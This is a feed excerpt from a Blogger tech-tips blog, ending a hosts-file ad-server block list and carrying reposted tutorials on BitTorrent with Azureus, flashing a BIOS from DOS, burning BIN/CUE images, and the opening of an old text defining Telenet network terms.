/&gt;127.0.0.1 rate.ru &lt;br /&gt;127.0.0.1 rb1.design.ru &lt;br /&gt;127.0.0.1 realads.realmedia.com &lt;br /&gt;127.0.0.1 realclix.com &lt;br /&gt;127.0.0.1 realmedia-a800.d4p.net &lt;br /&gt;127.0.0.1 realtechnetwork.com &lt;br /&gt;127.0.0.1 realtechnetwork.net &lt;br /&gt;127.0.0.1 realtracker.com &lt;br /&gt;127.0.0.1 redsherriff.com &lt;br /&gt;127.0.0.1 referralware.com &lt;br /&gt;127.0.0.1 regnow.com &lt;br /&gt;127.0.0.1 reklam.rfsl.se &lt;br /&gt;127.0.0.1 reklama.internet.cz &lt;br /&gt;127.0.0.1 reklama.reflektor.cz &lt;br /&gt;127.0.0.1 relmaxtop.com &lt;br /&gt;127.0.0.1 remotead.cnet.com &lt;br /&gt;127.0.0.1 reply.mediatris.net &lt;br /&gt;127.0.0.1 retaildirect.realmedia.com &lt;br /&gt;127.0.0.1 revenue.net &lt;br /&gt;127.0.0.1 rewardster.com &lt;br /&gt;127.0.0.1 richmails.com &lt;br /&gt;127.0.0.1 richwebmaster.com &lt;br /&gt;127.0.0.1 rightmedia.net &lt;br /&gt;127.0.0.1 rightstats.com &lt;br /&gt;127.0.0.1 rl.auto.ru &lt;br /&gt;127.0.0.1 rle.ru &lt;br /&gt;127.0.0.1 rmads.msn.com &lt;br /&gt;127.0.0.1 rmedia.boston.com &lt;br /&gt;127.0.0.1 rnd.yxo.ru &lt;br /&gt;127.0.0.1 roar.com &lt;br /&gt;127.0.0.1 roings.com &lt;br /&gt;127.0.0.1 roosevelt.gjbig.com &lt;br /&gt;127.0.0.1 rose.ixbt.com &lt;br /&gt;127.0.0.1 rotabanner.dni.ru &lt;br /&gt;127.0.0.1 rotabanner.izvestia.ru &lt;br /&gt;127.0.0.1 rotabanner.rian.ru &lt;br /&gt;127.0.0.1 rpts.net &lt;br /&gt;127.0.0.1 ru-traffic.com &lt;br /&gt;127.0.0.1 ru4.com &lt;br /&gt;127.0.0.1 safe-audit.com &lt;br /&gt;127.0.0.1 safelists.com &lt;br /&gt;127.0.0.1 sageanalyst.net &lt;br /&gt;127.0.0.1 searchlocate.com &lt;br /&gt;127.0.0.1 searchramp.com &lt;br /&gt;127.0.0.1 secure.webconnect.net &lt;br /&gt;127.0.0.1 seeq.com &lt;br /&gt;127.0.0.1 seo4india.com &lt;br /&gt;127.0.0.1 separtnership.com &lt;br /&gt;127.0.0.1 serv0.com &lt;br /&gt;127.0.0.1 servads.aip.org &lt;br /&gt;127.0.0.1 servedby.netshelter.net &lt;br /&gt;127.0.0.1 servethis.com &lt;br /&gt;127.0.0.1 serving-sys.com &lt;br /&gt;127.0.0.1 sexcounter.com &lt;br /&gt;127.0.0.1 sexlist.com &lt;br /&gt;127.0.0.1 sextracker.com &lt;br /&gt;127.0.0.1 sfads.osdn.com &lt;br /&gt;127.0.0.1 shareasale.com &lt;br /&gt;127.0.0.1 sher.index.hu &lt;br /&gt;127.0.0.1 shinystat.it &lt;br /&gt;127.0.0.1 siccash.com &lt;br /&gt;127.0.0.1 sidebar.angelfire.com &lt;br /&gt;127.0.0.1 sitemeter.com &lt;br /&gt;127.0.0.1 sma.punto.net &lt;br /&gt;127.0.0.1 smartadserver.com &lt;br /&gt;127.0.0.1 smartclicks.net &lt;br /&gt;127.0.0.1 smartdirect.com &lt;br /&gt;127.0.0.1 smfgroup.cjb.net &lt;br /&gt;127.0.0.1 smile.modchipstore.com &lt;br /&gt;127.0.0.1 sn.baventures.com &lt;br /&gt;127.0.0.1 softclick.com.br &lt;br /&gt;127.0.0.1 software.global-netcom.de &lt;br /&gt;127.0.0.1 softwaresponsor.com &lt;br /&gt;127.0.0.1 specificclick.com &lt;br /&gt;127.0.0.1 specificpop.com &lt;br /&gt;127.0.0.1 spezialreporte.de &lt;br /&gt;127.0.0.1 spinbox.maccentral.com &lt;br /&gt;127.0.0.1 spinbox.net &lt;br /&gt;127.0.0.1 spinbox.techtracker.com &lt;br /&gt;127.0.0.1 spinbox.versiontracker.com &lt;br /&gt;127.0.0.1 sponsor4you.net &lt;br /&gt;127.0.0.1 sponsoradulto.com &lt;br /&gt;127.0.0.1 sponsorpro.de &lt;br /&gt;127.0.0.1 sponsors.thoughtsmedia.com &lt;br /&gt;127.0.0.1 sprinks-clicks.about.com &lt;br /&gt;127.0.0.1 spylog.com &lt;br /&gt;127.0.0.1 spywarelabs.com &lt;br /&gt;127.0.0.1 spywarenuker.com &lt;br /&gt;127.0.0.1 ssads.osdn.com &lt;br /&gt;127.0.0.1 starffa.com &lt;br /&gt;127.0.0.1 start.freeze.com &lt;br /&gt;127.0.0.1 stat.dealtime.com &lt;br /&gt;127.0.0.1 stat.doxod.net &lt;br /&gt;127.0.0.1 stat.pl &lt;br /&gt;127.0.0.1 stat.webmedia.pl &lt;br /&gt;127.0.0.1 stat.zenon.net &lt;br /&gt;127.0.0.1 statcounter.com &lt;br /&gt;127.0.0.1 static.itrack.it &lt;br /&gt;127.0.0.1 static.smni.com &lt;br /&gt;127.0.0.1 staticads.btopenworld.com &lt;br /&gt;127.0.0.1 stats.blogger.com &lt;br /&gt;127.0.0.1 stats.cts-bv.nl &lt;br /&gt;127.0.0.1 stats.darkbluesea.com &lt;br /&gt;127.0.0.1 stats.klsoft.com &lt;br /&gt;127.0.0.1 stats4all.com &lt;br /&gt;127.0.0.1 stop-popup-ads-now.com &lt;br /&gt;127.0.0.1 sugoicounter.com &lt;br /&gt;127.0.0.1 superclix.de &lt;br /&gt;127.0.0.1 superstats.com &lt;br /&gt;127.0.0.1 supertop.ru &lt;br /&gt;127.0.0.1 supertop100.com &lt;br /&gt;127.0.0.1 synergiinteractive.com &lt;br /&gt;127.0.0.1 targad.de &lt;br /&gt;127.0.0.1 targetnet.com &lt;br /&gt;127.0.0.1 targetpoint.com &lt;br /&gt;127.0.0.1 targetsaver.com &lt;br /&gt;127.0.0.1 targetshop.com &lt;br /&gt;127.0.0.1 teknosurf2.com &lt;br /&gt;127.0.0.1 teknosurf3.com &lt;br /&gt;127.0.0.1 test.com &lt;br /&gt;127.0.0.1 textads.biz &lt;br /&gt;127.0.0.1 textads.opera.com &lt;br /&gt;127.0.0.1 textlinks.com &lt;br /&gt;127.0.0.1 tfag.de &lt;br /&gt;127.0.0.1 the-counter.net &lt;br /&gt;127.0.0.1 theanswerto.com &lt;br /&gt;127.0.0.1 thebannerguru.com &lt;br /&gt;127.0.0.1 thecounter.com &lt;br /&gt;127.0.0.1 thevictorynetwork.com &lt;br /&gt;127.0.0.1 thinkingmedia.net &lt;br /&gt;127.0.0.1 thisbanner.com &lt;br /&gt;127.0.0.1 thruport.com &lt;br /&gt;127.0.0.1 tier1network.com &lt;br /&gt;127.0.0.1 tinybar.com &lt;br /&gt;127.0.0.1 tmsads.tribune.com &lt;br /&gt;127.0.0.1 toads.osdn.com &lt;br /&gt;127.0.0.1 toolbar.netscape.com &lt;br /&gt;127.0.0.1 top.list.ru &lt;br /&gt;127.0.0.1 top.one.ru &lt;br /&gt;127.0.0.1 top.proext.com &lt;br /&gt;127.0.0.1 top100-images.rambler.ru &lt;br /&gt;127.0.0.1 top100.mafia.ru &lt;br /&gt;127.0.0.1 top20.com &lt;br /&gt;127.0.0.1 topbarh.box.sk &lt;br /&gt;127.0.0.1 toplist.cz &lt;br /&gt;127.0.0.1 toplista.mw.hu &lt;br /&gt;127.0.0.1 topping.com.ua &lt;br /&gt;127.0.0.1 topprofits.info &lt;br /&gt;127.0.0.1 toprebates.com &lt;br /&gt;127.0.0.1 topsearcher.com &lt;br /&gt;127.0.0.1 topshop-counter.rambler.ru &lt;br /&gt;127.0.0.1 topstats.com &lt;br /&gt;127.0.0.1 topstats.net &lt;br /&gt;127.0.0.1 tps108.org &lt;br /&gt;127.0.0.1 track.freexxxhost.net &lt;br /&gt;127.0.0.1 tracking.frantic.com &lt;br /&gt;127.0.0.1 tracking101.com &lt;br /&gt;127.0.0.1 trackmysales.com &lt;br /&gt;127.0.0.1 tradedoubler.com &lt;br /&gt;127.0.0.1 traffic-exchange.com &lt;br /&gt;127.0.0.1 trafficdiscount.com &lt;br /&gt;127.0.0.1 trafficmp.com &lt;br /&gt;127.0.0.1 trafficswarm.com &lt;br /&gt;127.0.0.1 trafficsyndicate.com &lt;br /&gt;127.0.0.1 traffictrader.net &lt;br /&gt;127.0.0.1 trafficvenue.net &lt;br /&gt;127.0.0.1 trafic.ro &lt;br /&gt;127.0.0.1 traficdublu.ro &lt;br /&gt;127.0.0.1 trafix.sk &lt;br /&gt;127.0.0.1 trakkerd.net &lt;br /&gt;127.0.0.1 trekblue.com &lt;br /&gt;127.0.0.1 trekdata.com &lt;br /&gt;127.0.0.1 tribalfusion.com &lt;br /&gt;127.0.0.1 trix.net &lt;br /&gt;127.0.0.1 truehits.net &lt;br /&gt;127.0.0.1 truehits1.gits.net.th &lt;br /&gt;127.0.0.1 truehits2.gits.net.th &lt;br /&gt;127.0.0.1 tsms-ad.tsms.com &lt;br /&gt;127.0.0.1 ukaffiliates2.com &lt;br /&gt;127.0.0.1 ukbanners.com &lt;br /&gt;127.0.0.1 ultimatecounter.com &lt;br /&gt;127.0.0.1 updated.com &lt;br /&gt;127.0.0.1 us.a1.yimg.com &lt;br /&gt;127.0.0.1 usapromotravel.com &lt;br /&gt;127.0.0.1 usmsad.tom.com &lt;br /&gt;127.0.0.1 utarget.co.uk &lt;br /&gt;127.0.0.1 utils.mediageneral.net &lt;br /&gt;127.0.0.1 valuead.com &lt;br /&gt;127.0.0.1 valueclick.com &lt;br /&gt;127.0.0.1 valueclick.net &lt;br /&gt;127.0.0.1 valuecommerce.com &lt;br /&gt;127.0.0.1 valuesponsor.com &lt;br /&gt;127.0.0.1 vendaregroup.com &lt;br /&gt;127.0.0.1 vericlick.com &lt;br /&gt;127.0.0.1 vg.ad.asap-asp.net &lt;br /&gt;127.0.0.1 vibrantmedia.com &lt;br /&gt;127.0.0.1 view4cash.de &lt;br /&gt;127.0.0.1 viewpoint.com &lt;br /&gt;127.0.0.1 vortextraffic.com &lt;br /&gt;127.0.0.1 vx2.cc &lt;br /&gt;127.0.0.1 w3exit.com &lt;br /&gt;127.0.0.1 wannaclick.com &lt;br /&gt;127.0.0.1 web-stat.com &lt;br /&gt;127.0.0.1 web2.deja.com &lt;br /&gt;127.0.0.1 webads.bizservers.com &lt;br /&gt;127.0.0.1 webads.co.nz &lt;br /&gt;127.0.0.1 webads.nl &lt;br /&gt;127.0.0.1 webangel.ru &lt;br /&gt;127.0.0.1 webcash.nl &lt;br /&gt;127.0.0.1 webcounter.cz &lt;br /&gt;127.0.0.1 webcounter.goweb.de &lt;br /&gt;127.0.0.1 webmasterplan.com &lt;br /&gt;127.0.0.1 webpdp.gator.com &lt;br /&gt;127.0.0.1 webpower.com &lt;br /&gt;127.0.0.1 websitefreepromotions.com &lt;br /&gt;127.0.0.1 websponsors.com &lt;br /&gt;127.0.0.1 webstars2000.com &lt;br /&gt;127.0.0.1 webstat.com &lt;br /&gt;127.0.0.1 webstat.net &lt;br /&gt;127.0.0.1 webtraxx.de &lt;br /&gt;127.0.0.1 webtrendslive.com &lt;br /&gt;127.0.0.1 wegcash.com &lt;br /&gt;127.0.0.1 wenksdisdkjeilsow.com &lt;br /&gt;127.0.0.1 whenu.com &lt;br /&gt;127.0.0.1 whispa.com &lt;br /&gt;127.0.0.1 window.nixnet.cz &lt;br /&gt;127.0.0.1 windupdates.com &lt;br /&gt;127.0.0.1 wipub.com &lt;br /&gt;127.0.0.1 worldbe.com &lt;br /&gt;127.0.0.1 wtlive.com &lt;br /&gt;127.0.0.1 wustat.windows.com &lt;br /&gt;127.0.0.1 www-banner.chat.ru &lt;br /&gt;127.0.0.1 www.adsxchange.lv &lt;br /&gt;127.0.0.1 www.banner-link.com.br &lt;br /&gt;127.0.0.1 www.dnps.com &lt;br /&gt;127.0.0.1 www.kaplanindex.com &lt;br /&gt;127.0.0.1 www.money4exit.de &lt;br /&gt;127.0.0.1 www.photo-ads.co.uk &lt;br /&gt;127.0.0.1 www.sponsor2002.de &lt;br /&gt;127.0.0.1 x.mycity.com &lt;br /&gt;127.0.0.1 xchange.ro &lt;br /&gt;127.0.0.1 xiti.com &lt;br /&gt;127.0.0.1 xq1.net &lt;br /&gt;127.0.0.1 xtrocash.org &lt;br /&gt;127.0.0.1 xxxcounter.com &lt;br /&gt;127.0.0.1 xxxtoolbar.com &lt;br /&gt;127.0.0.1 xzoomy.com &lt;br /&gt;127.0.0.1 y.ibsys.com &lt;br /&gt;127.0.0.1 yesadvertising.com &lt;br /&gt;127.0.0.1 youclick2earn.com &lt;br /&gt;127.0.0.1 z.times.lv &lt;br /&gt;127.0.0.1 zanox-affiliate.de &lt;br /&gt;127.0.0.1 zanox.com &lt;br /&gt;127.0.0.1 zeads.com &lt;br /&gt;127.0.0.1 zedo.com &lt;br /&gt;127.0.0.1 zencudo.co.uk &lt;br /&gt;127.0.0.1 zi.r.tv.com &lt;br /&gt;127.0.0.1 zmedia.com</description><link>http://it-guide888.blogspot.com/2016/12/block-adservers.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-2692967860922166567</guid><pubDate>Fri, 30 Dec 2016 07:30:00 +0000</pubDate><atom:updated>2016-12-29T23:30:12.685-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><title>Bit Torrent Tutorials</title><description>Bit Torrent Tutorials &lt;br /&gt;&lt;br /&gt;The first things you need to know about using Bit Torrent: &lt;br /&gt;-- Bit Torrent is aimed at broadband users (or any connection better than dialup). &lt;br /&gt;-- Sharing is highly appreciated, and sharing is what keeps bit torrent alive. &lt;br /&gt;-- A bit torrent file (*.torrent) contains information about the piece structure of the download (more on this later) &lt;br /&gt;-- The method of downloading is not your conventional type of download. Since downloads do not come in as one &lt;br /&gt;big chunk, you are able to download from many people at once, increasing your download speeds. There may be &lt;br /&gt;100 &quot;pieces&quot; to a file, or 20,000+ pieces, all depending on what you&#39;re downloading. Pieces are usually small (under 200kb) &lt;br /&gt;-- The speeds are based upon people sharing as they download, and seeders. Seeders are people who constantly &lt;br /&gt;share in order to keep torrents alive. Usually seeders are on fast connections (10mb or higher). &lt;br /&gt;&lt;br /&gt;In this tutorial, I will be describing it all using a bit torrent client called Azureus. This client is used to decode the .torrent files into a useable format to download from other peers. From here on out, I will refer to Bit Torrent as BT. &lt;br /&gt;&lt;br /&gt;Which BT client you use, is purely up to you. I have tried them all, and my personal favorite is Azureus for many reasons. A big problem with most BT clients out there, is that they are extremely CPU intensive, usually using 100% of your cpu power during the whole process. This is the number one reason I use Azureus. Another, is a recently released plug-in that enables you to browse all current files listed on suprnova.org (the #1 source for torrent downloads). &lt;br /&gt;&lt;br /&gt;Before you use the plug-in, take a look at /http://www.suprnova.org, and browse the files. Hold your mouse over the links, and you&#39;ll notice every file ends in .torrent. This is the BT file extension. Usually, .torrent files are very small, under 200kb. They contain a wealth of information about the file you want to download. A .torrent file can contain just 1 single file, or a a directory full of files and more directories. But regardless, every download is split up into hundreds or thousands of pieces. The pieces make it much easier to download at higher speeds. Back to suprnova.org. Look at the columns: &lt;br /&gt;&lt;br /&gt;Added | Name | Filesize | Seeds | DLs (and a few more which aren&#39;t very useful.) &lt;br /&gt;&lt;br /&gt;I&#39;ll break this down. &lt;br /&gt;Added: Self explanitory, its the date the torrent was added. &lt;br /&gt;Name: Also self explanitory. &lt;br /&gt;Filesize: Duh &lt;br /&gt;Seeds: This is how many people are strictly UPLOADING, or sharing. These people are the ones that keep .torrent files alive. By &quot;alive&quot;, I mean, if there&#39;s no one sharing the .torrent file, no one can download. &lt;br /&gt;DLs: This is how many people currently downloading that particular torrent. They also help keep the torrent alive as they share while they download. &lt;br /&gt;&lt;br /&gt;It&#39;s always best to download using a torrent that has a decent amount of seeders and downloaders, this way you can be assured there&#39;s a good chance your download will finish. The more the better. &lt;br /&gt;&lt;br /&gt;Now that you should understand how torrent files work, and how to use them, on to Azureus! &lt;br /&gt;First, get JAVA! You need this to run Azureus, as java is what powers it. Get Java here: /http://java.sun.com/j2se/1.4.2/download.html &lt;br /&gt;Next, get Azureus at: /http://azureus.sourceforge.net &lt;br /&gt;Next, get the Suprnovalister plugin from /http://s93732957.onlinehome.us/storage/suprnovalister.jar &lt;br /&gt;&lt;br /&gt;Install Java JRE before you do ANYTHING. &lt;br /&gt;&lt;br /&gt;Install Azureus, and then in the installation folder, create 2 more folders. ./Plugins/suprnovalister (For example, if you installed Azureus to C:\PROGRAM FILES\AZUREUS, create C:\PROGRAM FILES\AZUREUS\PLUGINS\SUPRNOVALISTER). Next, put the suprnovalister.jar file that you downloaded, in that folder. &lt;br /&gt;&lt;br /&gt;Load up Azureus, and if you want, go through the settings and personalize it. &lt;br /&gt;&lt;br /&gt;The tab labeled &quot;My Torrents&quot; is the section of Azureus you need the most often. That lists all your transfers, uploads and downloads. It shows every bit of information you could possibly want to know about torrents you download. &lt;br /&gt;&lt;br /&gt;In the menu bar, go to View &amp;gt; Plugins &amp;gt; Suprnova Lister. This will open up a new tab in Azureus. Click on &quot;Update Mirror&quot;. This will get a mirror site of suprnova.org containing all current torrent files available. Once a mirror is grabbed, choose a category from the drop-down box to the left and click &quot;Update&quot;. Wah-lah, all the available downloads appear in the main chart above. Just double click a download you want, and bang its starting to download. Open the &quot;My Torrents&quot; tab again to view and make sure your download started. &lt;br /&gt;&lt;br /&gt;After your download has finished, be nice, and leave the torrent transferring. So people can get pieces of the file from you, just as you got pieces from other people. &lt;br /&gt;&lt;br /&gt;Alternatively, if you don&#39;t want to use the plugin... you can just head to suprnova.org and download files to any folder. Then go to File &amp;gt; Open &amp;gt; .torrent File in Azureus. &lt;br /&gt;&lt;br /&gt;This should about wrap it up for the Bit Torrent Tutorial. If you guys think of anything I should add, or whatnot, just let me know and I&#39;ll check into it.</description><link>http://it-guide888.blogspot.com/2016/12/bit-torrent-tutorials.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-5943291974785209895</guid><pubDate>Thu, 29 Dec 2016 07:29:00 +0000</pubDate><atom:updated>2016-12-28T23:29:14.303-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><title>BIOS Update Procedure</title><description>BIOS Update Procedure &lt;br /&gt;&lt;br /&gt;All latest Motherboards today, 486/ Pentium / Pentium Pro etc.,ensure that upgrades are easily obtained by incorporating the system BIOS in a FLASH Memory component. With FLASH BIOS, there is no need to replace an EPROM component. Once downloaded, the upgrade utility fits on a floppy disc allowing the user to save, verify and update the system BIOS. A hard drive or a network drive can also be used to run the newer upgrade utilities. However, memory managers can not be installed while upgrading. &lt;br /&gt;&lt;br /&gt;Most pre-Pentium motherboards do not have a Flash BIOS. The following instructions therefore do not apply to these boards. If your motherboard does not have a Flash BIOS (EEPROM) you will need to use an EPROM programmer to re-program the BIOS chip. See your dealer for more information about this. &lt;br /&gt;&lt;br /&gt;Please read the following instructions in full before starting a Flash BIOS upgrade: &lt;br /&gt;A. Create a Bootable Floppy (in DOS) &lt;br /&gt;&lt;br /&gt;With a non-formatted disk, type the following: &lt;br /&gt;&lt;br /&gt;format a:/s &lt;br /&gt;&lt;br /&gt;If using a formatted disk, type: &lt;br /&gt;&lt;br /&gt;sys a: &lt;br /&gt;&lt;br /&gt;This procedure will ensure a clean boot when you are flashing the new BIOS. &lt;br /&gt;&lt;br /&gt;B. Download the BIOS file &lt;br /&gt;&lt;br /&gt;Download the correct BIOS file by clicking on the file name of the BIOS file you wish to download. &lt;br /&gt;&lt;br /&gt;Save the BIOS file and the Flash Utility file in the boot disk you have created. Unzip the BIOS file and the flash utility file. If you don&#39;t have an &quot;unzip&quot; utility, download the WinZip for Windows 95 shareware/ evaluation copy for that one time use from _www.winzip.com or _www.pkware.com. Most CD ROMs found in computer magazines, have a shareware version of WinZip on them. &lt;br /&gt;&lt;br /&gt;You should have extracted two files: &lt;br /&gt;&lt;br /&gt;Flash BIOS utility eg: flash7265.exe (for example) &lt;br /&gt;&lt;br /&gt;BIOS eg: 6152J900.bin (example) &lt;br /&gt;&lt;br /&gt;Use the latest flash utility available unless otherwise specified (either on the BIOS update page or in the archive file). This information is usually provided. &lt;br /&gt;&lt;br /&gt;C. Upgrade the System BIOS &lt;br /&gt;&lt;br /&gt;During boot up, write down the old BIOS version because you will need to use it for the BIOS backup file name. &lt;br /&gt;&lt;br /&gt;Place the bootable floppy disk containing the BIOS file and the Flash Utility in drive a, and reboot the system in MS-DOS, preferably Version 6.22 &lt;br /&gt;&lt;br /&gt;At the A:&amp;gt; prompt, type the corresponding Flash BIOS utility and the BIOS file with its extension. &lt;br /&gt;&lt;br /&gt;For example: &lt;br /&gt;&lt;br /&gt;flash625 615j900.bin &lt;br /&gt;&lt;br /&gt;From the Flash Memory Writer menu, select &quot;Y&quot; to &quot;Do you want to save BIOS?&quot; if you want to save (back up) your current BIOS (strongly recommended), then type the name of your current BIOS and its extension after FILE NAME TO SAVE: eg: a:\613J900.bin &lt;br /&gt;&lt;br /&gt;Alternatively select &quot;N&quot; if you don&#39;t want to save your current BIOS. Beware, though, that you won&#39;t be able to recover from a possible failure. &lt;br /&gt;&lt;br /&gt;Select &quot;Y&quot; to &quot;Are you sure to program?&quot; &lt;br /&gt;&lt;br /&gt;Wait until it displays &quot;Message: Power Off or Reset the system&quot; &lt;br /&gt;&lt;br /&gt;Once the BIOS has been successfully loaded, remove the floppy disk and reboot the system. If you write to BIOS but cannot complete the procedure, do not switch off, because the computer will not be able to boo, and you will not be given another chance to flash. In this case leave your system on until you resolve the problem (flashing BIOS with old file is a possible solution, provided you&#39;ve made a backup before) &lt;br /&gt;&lt;br /&gt;Make sure the new BIOS version has been loaded properly by taking note of the BIOS identifier as the system is rebooting. &lt;br /&gt;&lt;br /&gt;For AMI BIOS &lt;br /&gt;Once the BIOS has been successfully loaded, remove the floppy disk and reboot the system holding the &quot;END&quot; key prior to power on until you enter CMOS setup. If you do not do this the first time booting up after upgrading the BIOS, the system will hang. &lt;br /&gt;&lt;br /&gt;BIOS Update Tips &lt;br /&gt;note: &lt;br /&gt;1.Make sure never to turn off or reset your computer during the flash process. This will corrupt the BIOS data. We also recommend that you make a copy of your current BIOS on the bootable floppy so you can reflash it if you need to. (This option is not available when flashing an AMI BIOS). &lt;br /&gt;&lt;br /&gt;2. If you have problems installing your new BIOS please check the following: &lt;br /&gt;&lt;br /&gt;Have you done a clean boot? &lt;br /&gt;In other words, did you follow the above procedure for making a bootable floppy? This ensures that when booting from &quot;A&quot; there are no device drivers on the diskette. Failing to do a clean boot is the most common cause for getting a &quot;Memory Insufficient&quot; error message when attempting to flash a BIOS. &lt;br /&gt;&lt;br /&gt;If you have not used a bootable floppy, insure a clean boot either by &lt;br /&gt;&lt;br /&gt;a) pressing F5 during bootup &lt;br /&gt;&lt;br /&gt;b) by removing all device drivers on the CONFIG.SYS including the HIMEM.SYS. Do this by using the EDIT command. &lt;br /&gt;&lt;br /&gt;Have you booted up under DOS? &lt;br /&gt;Booting in Windows is another common cause for getting a &quot;Memory Insufficient&quot; error message when attempting to flash a BIOS. Make sure to boot up to DOS with a minimum set of drivers. Important: Booting in DOS does not mean selecting &quot;Restart computer in MS-DOS Mode&quot; from Windows98/95 shutdown menu or going to Prompt mode in WindowsNT, but rather following the above procedure (format a: /s and rebooting from a:\). &lt;br /&gt;&lt;br /&gt;Have you entered the full file name of the flash utility and the BIOS plus its extension? &lt;br /&gt;Do not forget that often you will need to add a drive letter (a:\) before flashing the BIOS. Example: when asked for file name of new BIOS file which is on your floppy disk, in case you&#39;re working from c:\ your will need to type a:\615j900.bin, rather than 615j900.bin only.</description><link>http://it-guide888.blogspot.com/2016/12/bios-update-procedure.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-6222897371153871229</guid><pubDate>Wed, 28 Dec 2016 07:26:00 +0000</pubDate><atom:updated>2016-12-27T23:26:04.936-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><title>BIN &amp; .CUE simple tutorial</title><description>BIN &amp;amp; .CUE simple tutorial.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;There always seems to be the question &quot;what do I do with a .bin and .cue file&quot; in these forums so I figured I would write a quick and simple tutorial. Please feel free to add more.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;So you have downloaded two files, one with a .bin extension and one with a .cue extension. &quot;What do I do with these?&quot; you ask. There are a number of options.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;BURN TO CD&amp;nbsp; &lt;br /&gt;&lt;br /&gt;You will need either NERO, CDRWIN or FIREBURNER to burn the file.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;To burn with NERO:&amp;nbsp; &lt;br /&gt;Start NERO, choose FILE, choose BURN IMAGE, locate the .cue file you have and double click it. A dialog box will come up, for anything other than music make sure you choose DISC-AT-ONCE (DAO). You can also turn off the simulation burn if you so choose.&amp;nbsp; &lt;br /&gt;Then burn away.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;To burn with CDRWin:&amp;nbsp; &lt;br /&gt;Start CDRWin, choose the button on the top left, choose LOAD CUESHEET, press START RECORDING.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;To burn with Fireburner:&amp;nbsp; &lt;br /&gt;Start Fireburner, click on the button on the bottom left corner &quot;VISUAL CUE BURNER/BINCHUNKER&quot;, press the right mouse button and choose LOAD TRACKS FROM .CUE and choose the correct .CUE file, press the right mouse button again and chooseselect &quot;Burn/Test Burn&quot;, choose DISK AT ONCE (DAO), disable TEST BURN and MULTISESSION, press OK.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;.CUE ERRORS&amp;nbsp; &lt;br /&gt;The most common error you will get with a .cue file is when it points to an incorrect path. This is easily fixed. Find the .bin file, copy the exact title including the .bin extension. Now find the .cue file, open the .cue file using notepad. It should look similar to this:&amp;nbsp; &lt;br /&gt;&lt;br /&gt;FILE &quot;name of file.bin&quot; BINARY&amp;nbsp; &lt;br /&gt;TRACK 01 MODE2/2352&amp;nbsp; &lt;br /&gt;INDEX 01 00:00:00&amp;nbsp; &lt;br /&gt;TRACK 02 MODE2/2352&amp;nbsp; &lt;br /&gt;INDEX 00 00:04:00&amp;nbsp; &lt;br /&gt;INDEX 01 00:06:00&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Delete everything in the quotes, in this case we would&amp;nbsp; &lt;br /&gt;delete name of file.bin. Now place the title you copied&amp;nbsp; &lt;br /&gt;in between the quotes. Save the changes and close out.&amp;nbsp; &lt;br /&gt;Thats it, your .cue file should work now.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;OTHER WAYS TO USE .BIN &amp;amp; .CUE FILES&amp;nbsp; &lt;br /&gt;&lt;br /&gt;VCDGear:&amp;nbsp; &lt;br /&gt;This program will allow you to extract MPEG streams from CD images, convert VCD files to MPEG, correct MPEG errors, and more.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;Daemon Tools:&amp;nbsp; &lt;br /&gt;This program creates a virtual drive on your PC which will allow you to &quot;mount&quot; the .cue file and use whatever is in the .bin file without having to burn it to a cd.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;ISOBuster:&amp;nbsp; &lt;br /&gt;This program will allow you to &quot;bust&quot; open the .bin file and extract the files within the .bin.&amp;nbsp; &lt;br /&gt;_________________</description><link>http://it-guide888.blogspot.com/2016/12/bin-cue-simple-tutorial.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-1609155139569686843</guid><pubDate>Tue, 27 Dec 2016 07:21:00 +0000</pubDate><atom:updated>2016-12-26T23:21:11.488-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><title>BASIC NETWORKING</title><description>Well, many people have asked me &quot;how do i use Telenet&quot;..&quot;how do i use an outdial&quot;. Well i have decided to write a very basic file on telenet and how to get around on the networks.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Well Telenet and others are PSN&#39;s or (Packet Switching Networks) these nets are connected to many other networks around the world.&amp;nbsp; You can do alot with just basic knowledge that i have (most of you will know this and way beyond what i know but some will benefit from it) i will start with some of the terms that are often used with these services.&lt;br /&gt;&lt;br /&gt;Access Number- The direct number that you dial to access a network (duh).&lt;br /&gt;&lt;br /&gt;Nua (Network Users Address) - An Nua is basicly a number you type in to access that particular service think of an Nua as a phone number sorta its not an actually phone number with an Acn country code or whatever because the service is connected to the network world wide.&amp;nbsp; I hope that was fairly clear let me show this think of the planet earth as an network and&amp;nbsp; to reach the services on the planet you call the phone number like the service is a persons residence or business phone or payphone whatever just like on a network an Nua is the Address to a system or outdial whatever on the particular network. I hope this is clear or atleast somewhat understood.&lt;br /&gt;&lt;br /&gt;Nui (Network User Identification) - An Nui is like a Account and Password to the network like an account and password is to a bbs that lets you access the system.&amp;nbsp; Some people use Nui for like anything like an Vax system Unix systems they are referring to an Nui as basicly a account on the particular system that lets you use the system.&lt;br /&gt;&lt;br /&gt;DNIC (Data Network Identification Code) - The DNIC is like a 4 digit code that represents what Psn it is think of an DNIC like an AreaCode and the Nua the individual phone number.&lt;br /&gt;&lt;br 